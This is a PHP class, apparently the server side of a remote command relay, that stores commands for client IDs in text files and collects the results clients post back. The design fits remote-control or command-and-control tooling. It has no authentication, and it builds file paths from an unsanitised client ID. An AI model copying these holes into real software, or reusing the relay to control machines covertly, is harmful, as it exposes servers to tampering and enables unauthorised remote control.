<?php
/**
 * server 服务器端
 * @author quanhengzhuang
 */
class server {
	/**
	 * 客户端ID
	 * @var string
	 */
	private $cid = '';
	
	/**
	 * 原结果
	 * @var string
	 */
	private $result = '';
	
	/**
	 * 结果资源
	 * @var string
	 */
	private $result_source = '';
	
	/**
	 * 命令资源
	 * @var string
	 */
	private $command_source = '';
	
	/**
	 * 是否有新命令
	 * @var string
	 */
	private $commond_new = true;
	
	/**
	 * 初始化
	 * @param string $cid 客户端ID
	 */
	public function __construct($cid) {
		//有无cid
		$cid == '' ? exit('WHERE IS THE CID?') : $this->cid = $cid;
		
		//资源指定
		$this->command_source = 'source/'.$this->cid.'_command.txt';
		$this->result_source = 'source/'.$this->cid.'_result.txt';
		
		//获取结果
		$this->result = file_exists($this->result_source) ? file_get_contents($this->result_source) : '';
	}
	
	/**
	 * 接收结果 (保存到result.txt)
	 */
	public function receive_result() {
		$result = $_POST['result'];
		file_put_contents($this->result_source, $result);
	}
	
	/**
	 * 发送命令 (保存到command.txt等客户端来取)
	 */
	public function send_command() {
		file_exists($this->command_source) == false && touch($this->command_source);
		return file_get_contents($this->command_source);
	}
	
	/**
	 * 更新命令
	 * @param string $command 命令
	 */
	public function save_command($command) {
		$this->commond_new = ($this->send_command() != $command);
		$this->cid_exists() ? file_put_contents($this->command_source, $command) : exit('CID NOT FOUND!');
	}
	
	/**
	 * 返回结果
	 */
	public function get_result() {
		$_time_start = microtime(1);
		
		//守护进程 取结果
		$result = file_get_contents($this->result_source);
		//中断条件 (无新命令、有新结果、超时)
		while ($this->commond_new && $result == $this->result && (microtime(1) - $_time_start)*1000 < MAX_SCAN_TIME) {
			$result = file_get_contents($this->result_source);
			usleep(GET_RESULT_SLEEP*1000);
		}
				
		return $result;
	}
	
	/**
	 * CID 是否存在
	 * @return bool
	 */
	public function cid_exists() {
		return file_exists($this->result_source);
	}
}
?>